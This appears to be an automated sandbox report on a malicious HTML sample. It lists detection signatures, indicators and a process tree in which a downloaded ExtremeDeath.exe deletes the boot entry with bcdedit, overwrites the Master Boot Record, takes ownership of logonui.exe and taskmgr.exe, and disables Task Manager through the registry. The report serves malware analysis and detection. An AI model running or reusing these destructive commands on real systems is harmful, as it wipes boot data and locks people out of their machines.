9b7222bb21f452ddcb74beab90b78e805578d65c4e43758853f833ac1edb5ce1

Resubmissions

01-07-2024 06:05

240701-gs7rts1ekm 8

01-07-2024 06:02

01-07-2024 05:57

01-07-2024 05:47

01-07-2024 05:44

01-07-2024 05:39

Analysis

max time kernel
207s
max time network
202s
platform
windows11-21h2_x64
resource
win11-20240611-en
resource tags

arch:x64arch:x86image:win11-20240611-enlocale:en-usos:windows11-21h2-x64system
submitted
01-07-2024 06:05

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

sample.html
Size

494KB
MD5

90570683931d5f8a2ad2eac54d7ec9b4
SHA1

2e04b4ffa1ffafac3b5424bf6c59d0eefee13858
SHA256

9b7222bb21f452ddcb74beab90b78e805578d65c4e43758853f833ac1edb5ce1
SHA512

08cb12405bee74256212037938c3a367add8d6067c326fc154d2b6d9128254f817fff9e61672d67d4d6f4f37b78df6209b94f71c69f53abbf9db59bf0e36ec2c
SSDEEP

6144:lZHU5+U52U5ZU58U5ZU5BU59U5qU58U5Rb2:l5UAUsUbUGU3UnU3UIUCU3b2

Score

8^/10

bootkit discovery evasion exploit persistence upx

Malware Config

Signatures

Disables Task Manager via registry modification
evasion
Downloads MZ/PE file
Possible privilege escalation attempt 6 IoCs
exploit

Processes:

icacls.exeicacls.exetakeown.exeicacls.exeicacls.exetakeown.exe

pid process

2236 icacls.exe
4916 icacls.exe
4836 takeown.exe
768 icacls.exe
4592 icacls.exe
4040 takeown.exe

pid	process
2236	icacls.exe
4916	icacls.exe
4836	takeown.exe
768	icacls.exe
4592	icacls.exe
4040	takeown.exe

Executes dropped EXE 12 IoCs

Processes:

ExtremeDeath.exeTrashMBR.exebeeper.exeMouseError.exeMouseWarning.exeMouseAppIcon.exePlgBlt.exeMouseError.exeMouseWarning.exeMouseAppIcon.exeBitBlt.exeglitch.exe

pid	process
2960	ExtremeDeath.exe
4876	TrashMBR.exe
5080	beeper.exe
3776	MouseError.exe
1316	MouseWarning.exe
1496	MouseAppIcon.exe
2480	PlgBlt.exe
3560	MouseError.exe
1956	MouseWarning.exe
3508	MouseAppIcon.exe
4076	BitBlt.exe
2260	glitch.exe

Modifies file permissions 1 TTPs 6 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

icacls.exeicacls.exetakeown.exeicacls.exeicacls.exetakeown.exe

pid process

768 icacls.exe
4592 icacls.exe
4040 takeown.exe
2236 icacls.exe
4916 icacls.exe
4836 takeown.exe

pid	process
768	icacls.exe
4592	icacls.exe
4040	takeown.exe
2236	icacls.exe
4916	icacls.exe
4836	takeown.exe

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
C:\Users\Admin\Downloads\Unconfirmed 432010.crdownload	upx
behavioral1/memory/2960-739-0x0000000000400000-0x000000000051D000-memory.dmp	upx
behavioral1/memory/2960-926-0x0000000000400000-0x000000000051D000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service
T1102

Processes:

flow ioc

42 raw.githubusercontent.com
55 raw.githubusercontent.com
67 raw.githubusercontent.com
Modifies boot configuration data using bcdedit 1 IoCs

Processes:

bcdedit.exe

pid process

2312 bcdedit.exe
Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
bootkit persistence

Bootkit
T1542.003

Processes:

TrashMBR.exe

description ioc process

File opened for modification \??\PhysicalDrive0 TrashMBR.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Delays execution with timeout.exe 8 IoCs
evasion

Processes:

timeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exe

pid process

4240 timeout.exe
1460 timeout.exe
4432 timeout.exe
4836 timeout.exe
3132 timeout.exe
3156 timeout.exe
3088 timeout.exe
2928 timeout.exe

flow	ioc
42	raw.githubusercontent.com
55	raw.githubusercontent.com
67	raw.githubusercontent.com

pid	process
2312	bcdedit.exe

description	ioc	process
File opened for modification	\??\PhysicalDrive0	TrashMBR.exe

pid	process
4240	timeout.exe
1460	timeout.exe
4432	timeout.exe
4836	timeout.exe
3132	timeout.exe
3156	timeout.exe
3088	timeout.exe
2928	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

msedge.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Kills process with taskkill 5 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid process

2272 taskkill.exe
4608 taskkill.exe
5008 taskkill.exe
3296 taskkill.exe
3944 taskkill.exe

pid	process
2272	taskkill.exe
4608	taskkill.exe
5008	taskkill.exe
3296	taskkill.exe
3944	taskkill.exe

Modifies registry class 1 IoCs

Processes:

msedge.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1276817940-128734381-631578427-1000\{EC4AB8C0-9284-4E18-95D9-1CE1BB8E48A3}	msedge.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

4384 reg.exe

pid	process
4384	reg.exe

NTFS ADS 2 IoCs

Processes:

msedge.exemsedge.exe

description	ioc	process
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 432010.crdownload:SmartScreen	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\ExtremeDeath.exe:Zone.Identifier	msedge.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

Processes:

msedge.exemsedge.exemsedge.exeidentity_helper.exemsedge.exemsedge.exe

pid process

4588 msedge.exe
4588 msedge.exe
2436 msedge.exe
2436 msedge.exe
2632 msedge.exe
2632 msedge.exe
2248 identity_helper.exe
2248 identity_helper.exe
5056 msedge.exe
5056 msedge.exe
4384 msedge.exe
4384 msedge.exe
Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

PlgBlt.exe

pid process

2480 PlgBlt.exe
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 12 IoCs

Processes:

msedge.exe

pid process

2436 msedge.exe
2436 msedge.exe
2436 msedge.exe
2436 msedge.exe
2436 msedge.exe
2436 msedge.exe
2436 msedge.exe
2436 msedge.exe
2436 msedge.exe
2436 msedge.exe
2436 msedge.exe
2436 msedge.exe

pid	process
4588	msedge.exe
4588	msedge.exe
2436	msedge.exe
2436	msedge.exe
2632	msedge.exe
2632	msedge.exe
2248	identity_helper.exe
2248	identity_helper.exe
5056	msedge.exe
5056	msedge.exe
4384	msedge.exe
4384	msedge.exe

pid	process
2480	PlgBlt.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

taskkill.exeWMIC.exetakeown.exetaskkill.exeWMIC.exe

description	pid	process
Token: SeDebugPrivilege	2272	taskkill.exe
Token: SeIncreaseQuotaPrivilege	2748	WMIC.exe
Token: SeSecurityPrivilege	2748	WMIC.exe
Token: SeTakeOwnershipPrivilege	2748	WMIC.exe
Token: SeLoadDriverPrivilege	2748	WMIC.exe
Token: SeSystemProfilePrivilege	2748	WMIC.exe
Token: SeSystemtimePrivilege	2748	WMIC.exe
Token: SeProfSingleProcessPrivilege	2748	WMIC.exe
Token: SeIncBasePriorityPrivilege	2748	WMIC.exe
Token: SeCreatePagefilePrivilege	2748	WMIC.exe
Token: SeBackupPrivilege	2748	WMIC.exe
Token: SeRestorePrivilege	2748	WMIC.exe
Token: SeShutdownPrivilege	2748	WMIC.exe
Token: SeDebugPrivilege	2748	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2748	WMIC.exe
Token: SeRemoteShutdownPrivilege	2748	WMIC.exe
Token: SeUndockPrivilege	2748	WMIC.exe
Token: SeManageVolumePrivilege	2748	WMIC.exe
Token: 33	2748	WMIC.exe
Token: 34	2748	WMIC.exe
Token: 35	2748	WMIC.exe
Token: 36	2748	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2748	WMIC.exe
Token: SeSecurityPrivilege	2748	WMIC.exe
Token: SeTakeOwnershipPrivilege	2748	WMIC.exe
Token: SeLoadDriverPrivilege	2748	WMIC.exe
Token: SeSystemProfilePrivilege	2748	WMIC.exe
Token: SeSystemtimePrivilege	2748	WMIC.exe
Token: SeProfSingleProcessPrivilege	2748	WMIC.exe
Token: SeIncBasePriorityPrivilege	2748	WMIC.exe
Token: SeCreatePagefilePrivilege	2748	WMIC.exe
Token: SeBackupPrivilege	2748	WMIC.exe
Token: SeRestorePrivilege	2748	WMIC.exe
Token: SeShutdownPrivilege	2748	WMIC.exe
Token: SeDebugPrivilege	2748	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2748	WMIC.exe
Token: SeRemoteShutdownPrivilege	2748	WMIC.exe
Token: SeUndockPrivilege	2748	WMIC.exe
Token: SeManageVolumePrivilege	2748	WMIC.exe
Token: 33	2748	WMIC.exe
Token: 34	2748	WMIC.exe
Token: 35	2748	WMIC.exe
Token: 36	2748	WMIC.exe
Token: SeTakeOwnershipPrivilege	4836	takeown.exe
Token: SeDebugPrivilege	4608	taskkill.exe
Token: SeIncreaseQuotaPrivilege	4696	WMIC.exe
Token: SeSecurityPrivilege	4696	WMIC.exe
Token: SeTakeOwnershipPrivilege	4696	WMIC.exe
Token: SeLoadDriverPrivilege	4696	WMIC.exe
Token: SeSystemProfilePrivilege	4696	WMIC.exe
Token: SeSystemtimePrivilege	4696	WMIC.exe
Token: SeProfSingleProcessPrivilege	4696	WMIC.exe
Token: SeIncBasePriorityPrivilege	4696	WMIC.exe
Token: SeCreatePagefilePrivilege	4696	WMIC.exe
Token: SeBackupPrivilege	4696	WMIC.exe
Token: SeRestorePrivilege	4696	WMIC.exe
Token: SeShutdownPrivilege	4696	WMIC.exe
Token: SeDebugPrivilege	4696	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4696	WMIC.exe
Token: SeRemoteShutdownPrivilege	4696	WMIC.exe
Token: SeUndockPrivilege	4696	WMIC.exe
Token: SeManageVolumePrivilege	4696	WMIC.exe
Token: 33	4696	WMIC.exe
Token: 34	4696	WMIC.exe

Suspicious use of FindShellTrayWindow 36 IoCs

Processes:

msedge.exe

pid	process
2436	msedge.exe
2436	msedge.exe
2436	msedge.exe
2436	msedge.exe
2436	msedge.exe
2436	msedge.exe
2436	msedge.exe
2436	msedge.exe
2436	msedge.exe
2436	msedge.exe
2436	msedge.exe
2436	msedge.exe
2436	msedge.exe
2436	msedge.exe
2436	msedge.exe
2436	msedge.exe
2436	msedge.exe
2436	msedge.exe
2436	msedge.exe
2436	msedge.exe
2436	msedge.exe
2436	msedge.exe
2436	msedge.exe
2436	msedge.exe
2436	msedge.exe
2436	msedge.exe
2436	msedge.exe
2436	msedge.exe
2436	msedge.exe
2436	msedge.exe
2436	msedge.exe
2436	msedge.exe
2436	msedge.exe
2436	msedge.exe
2436	msedge.exe
2436	msedge.exe

Suspicious use of SendNotifyMessage 12 IoCs

Processes:

msedge.exe

pid process

2436 msedge.exe
2436 msedge.exe
2436 msedge.exe
2436 msedge.exe
2436 msedge.exe
2436 msedge.exe
2436 msedge.exe
2436 msedge.exe
2436 msedge.exe
2436 msedge.exe
2436 msedge.exe
2436 msedge.exe
Suspicious use of SetWindowsHookEx 10 IoCs

Processes:

ExtremeDeath.exeMouseError.exeMouseWarning.exeMouseAppIcon.exePlgBlt.exeMouseWarning.exeMouseError.exeMouseAppIcon.exeBitBlt.exeglitch.exe

pid process

2960 ExtremeDeath.exe
3776 MouseError.exe
1316 MouseWarning.exe
1496 MouseAppIcon.exe
2480 PlgBlt.exe
1956 MouseWarning.exe
3560 MouseError.exe
3508 MouseAppIcon.exe
4076 BitBlt.exe
2260 glitch.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

msedge.exe

description	pid	process	target process
PID 2436 wrote to memory of 5068	2436	msedge.exe	msedge.exe
PID 2436 wrote to memory of 5068	2436	msedge.exe	msedge.exe
PID 2436 wrote to memory of 3292	2436	msedge.exe	msedge.exe
PID 2436 wrote to memory of 3292	2436	msedge.exe	msedge.exe
PID 2436 wrote to memory of 3292	2436	msedge.exe	msedge.exe
PID 2436 wrote to memory of 3292	2436	msedge.exe	msedge.exe
PID 2436 wrote to memory of 3292	2436	msedge.exe	msedge.exe
PID 2436 wrote to memory of 3292	2436	msedge.exe	msedge.exe
PID 2436 wrote to memory of 3292	2436	msedge.exe	msedge.exe
PID 2436 wrote to memory of 3292	2436	msedge.exe	msedge.exe
PID 2436 wrote to memory of 3292	2436	msedge.exe	msedge.exe
PID 2436 wrote to memory of 3292	2436	msedge.exe	msedge.exe
PID 2436 wrote to memory of 3292	2436	msedge.exe	msedge.exe
PID 2436 wrote to memory of 3292	2436	msedge.exe	msedge.exe
PID 2436 wrote to memory of 3292	2436	msedge.exe	msedge.exe
PID 2436 wrote to memory of 3292	2436	msedge.exe	msedge.exe
PID 2436 wrote to memory of 3292	2436	msedge.exe	msedge.exe
PID 2436 wrote to memory of 3292	2436	msedge.exe	msedge.exe
PID 2436 wrote to memory of 3292	2436	msedge.exe	msedge.exe
PID 2436 wrote to memory of 3292	2436	msedge.exe	msedge.exe
PID 2436 wrote to memory of 3292	2436	msedge.exe	msedge.exe
PID 2436 wrote to memory of 3292	2436	msedge.exe	msedge.exe
PID 2436 wrote to memory of 3292	2436	msedge.exe	msedge.exe
PID 2436 wrote to memory of 3292	2436	msedge.exe	msedge.exe
PID 2436 wrote to memory of 3292	2436	msedge.exe	msedge.exe
PID 2436 wrote to memory of 3292	2436	msedge.exe	msedge.exe
PID 2436 wrote to memory of 3292	2436	msedge.exe	msedge.exe
PID 2436 wrote to memory of 3292	2436	msedge.exe	msedge.exe
PID 2436 wrote to memory of 3292	2436	msedge.exe	msedge.exe
PID 2436 wrote to memory of 3292	2436	msedge.exe	msedge.exe
PID 2436 wrote to memory of 3292	2436	msedge.exe	msedge.exe
PID 2436 wrote to memory of 3292	2436	msedge.exe	msedge.exe
PID 2436 wrote to memory of 3292	2436	msedge.exe	msedge.exe
PID 2436 wrote to memory of 3292	2436	msedge.exe	msedge.exe
PID 2436 wrote to memory of 3292	2436	msedge.exe	msedge.exe
PID 2436 wrote to memory of 3292	2436	msedge.exe	msedge.exe
PID 2436 wrote to memory of 3292	2436	msedge.exe	msedge.exe
PID 2436 wrote to memory of 3292	2436	msedge.exe	msedge.exe
PID 2436 wrote to memory of 3292	2436	msedge.exe	msedge.exe
PID 2436 wrote to memory of 3292	2436	msedge.exe	msedge.exe
PID 2436 wrote to memory of 3292	2436	msedge.exe	msedge.exe
PID 2436 wrote to memory of 3292	2436	msedge.exe	msedge.exe
PID 2436 wrote to memory of 4588	2436	msedge.exe	msedge.exe
PID 2436 wrote to memory of 4588	2436	msedge.exe	msedge.exe
PID 2436 wrote to memory of 4756	2436	msedge.exe	msedge.exe
PID 2436 wrote to memory of 4756	2436	msedge.exe	msedge.exe
PID 2436 wrote to memory of 4756	2436	msedge.exe	msedge.exe
PID 2436 wrote to memory of 4756	2436	msedge.exe	msedge.exe
PID 2436 wrote to memory of 4756	2436	msedge.exe	msedge.exe
PID 2436 wrote to memory of 4756	2436	msedge.exe	msedge.exe
PID 2436 wrote to memory of 4756	2436	msedge.exe	msedge.exe
PID 2436 wrote to memory of 4756	2436	msedge.exe	msedge.exe
PID 2436 wrote to memory of 4756	2436	msedge.exe	msedge.exe
PID 2436 wrote to memory of 4756	2436	msedge.exe	msedge.exe
PID 2436 wrote to memory of 4756	2436	msedge.exe	msedge.exe
PID 2436 wrote to memory of 4756	2436	msedge.exe	msedge.exe
PID 2436 wrote to memory of 4756	2436	msedge.exe	msedge.exe
PID 2436 wrote to memory of 4756	2436	msedge.exe	msedge.exe
PID 2436 wrote to memory of 4756	2436	msedge.exe	msedge.exe
PID 2436 wrote to memory of 4756	2436	msedge.exe	msedge.exe
PID 2436 wrote to memory of 4756	2436	msedge.exe	msedge.exe
PID 2436 wrote to memory of 4756	2436	msedge.exe	msedge.exe
PID 2436 wrote to memory of 4756	2436	msedge.exe	msedge.exe
PID 2436 wrote to memory of 4756	2436	msedge.exe	msedge.exe

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\AppData\Local\Temp\sample.html
1⤵
- Enumerates system info in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2436

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7fff721f3cb8,0x7fff721f3cc8,0x7fff721f3cd8
2⤵
PID:5068

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1880,8095621560553847671,142250114650174461,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1896 /prefetch:2
2⤵
PID:3292

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1880,8095621560553847671,142250114650174461,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2360 /prefetch:3
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:4588

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1880,8095621560553847671,142250114650174461,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2756 /prefetch:8
2⤵
PID:4756

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1880,8095621560553847671,142250114650174461,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3144 /prefetch:1
2⤵
PID:2584

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1880,8095621560553847671,142250114650174461,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3152 /prefetch:1
2⤵
PID:1340

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1880,8095621560553847671,142250114650174461,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4740 /prefetch:1
2⤵
PID:4112

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1880,8095621560553847671,142250114650174461,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3600 /prefetch:1
2⤵
PID:2228

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=1880,8095621560553847671,142250114650174461,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5132 /prefetch:8
2⤵
PID:2568

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --field-trial-handle=1880,8095621560553847671,142250114650174461,131072 --lang=en-US --service-sandbox-type=video_capture --mojo-platform-channel-handle=4904 /prefetch:8
2⤵
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
PID:2632

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1880,8095621560553847671,142250114650174461,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5348 /prefetch:1
2⤵
PID:5100

C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1880,8095621560553847671,142250114650174461,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5588 /prefetch:8
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:2248

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1880,8095621560553847671,142250114650174461,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5112 /prefetch:8
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:5056

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1880,8095621560553847671,142250114650174461,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5628 /prefetch:1
2⤵
PID:4884

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1880,8095621560553847671,142250114650174461,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5604 /prefetch:1
2⤵
PID:2632

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1880,8095621560553847671,142250114650174461,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4628 /prefetch:1
2⤵
PID:2312

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1880,8095621560553847671,142250114650174461,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5116 /prefetch:1
2⤵
PID:3792

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1880,8095621560553847671,142250114650174461,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1700 /prefetch:1
2⤵
PID:1972

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1880,8095621560553847671,142250114650174461,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5036 /prefetch:1
2⤵
PID:2028

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1880,8095621560553847671,142250114650174461,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6332 /prefetch:1
2⤵
PID:4936

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1880,8095621560553847671,142250114650174461,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6240 /prefetch:8
2⤵
PID:4144

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1880,8095621560553847671,142250114650174461,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6588 /prefetch:8
2⤵
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
PID:4384

C:\Users\Admin\Downloads\ExtremeDeath.exe
"C:\Users\Admin\Downloads\ExtremeDeath.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:2960

C:\Windows\system32\cmd.exe
"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\74DD.tmp\74DE.tmp\74DF.bat C:\Users\Admin\Downloads\ExtremeDeath.exe"
3⤵
PID:2464

C:\Windows\system32\cscript.exe
cscript prompt.vbs
4⤵
PID:4452

C:\Windows\system32\bcdedit.exe
bcdedit /delete {current}
4⤵
- Modifies boot configuration data using bcdedit
PID:2312

C:\Users\Admin\AppData\Local\Temp\74DD.tmp\TrashMBR.exe
TrashMBR.exe
4⤵
- Executes dropped EXE
- Writes to the Master Boot Record (MBR)
PID:4876

C:\Windows\system32\taskkill.exe
taskkill /f /im logonui.exe
4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2272

C:\Windows\System32\Wbem\WMIC.exe
wmic process where name='logonui.exe' delete /nointeractive
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2748

C:\Windows\system32\takeown.exe
takeown /f C:\Windows\system32\logonui.exe
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:4836

C:\Windows\system32\icacls.exe
icacls C:\Windows\system32\logonui.exe /grant Admin:F
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:768

C:\Windows\system32\icacls.exe
icacls C:\Windows\system32\logonui.exe /grant "everyone":F
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4592

C:\Windows\system32\taskkill.exe
taskkill /f /im taskmgr.exe
4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4608

C:\Windows\System32\Wbem\WMIC.exe
wmic process where name='taskmgr.exe' delete /nointeractive
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4696

C:\Windows\system32\takeown.exe
takeown /f C:\Windows\system32\taskmgr.exe
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4040

C:\Windows\system32\icacls.exe
icacls C:\Windows\system32\taskmgr.exe /grant Admin:F
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2236

C:\Windows\system32\icacls.exe
icacls C:\Windows\system32\taskmgr.exe /grant "everyone":F
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4916

C:\Windows\system32\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
4⤵
- Modifies registry key
PID:4384

C:\Users\Admin\AppData\Local\Temp\74DD.tmp\beeper.exe
beeper.exe
4⤵
- Executes dropped EXE
PID:5080

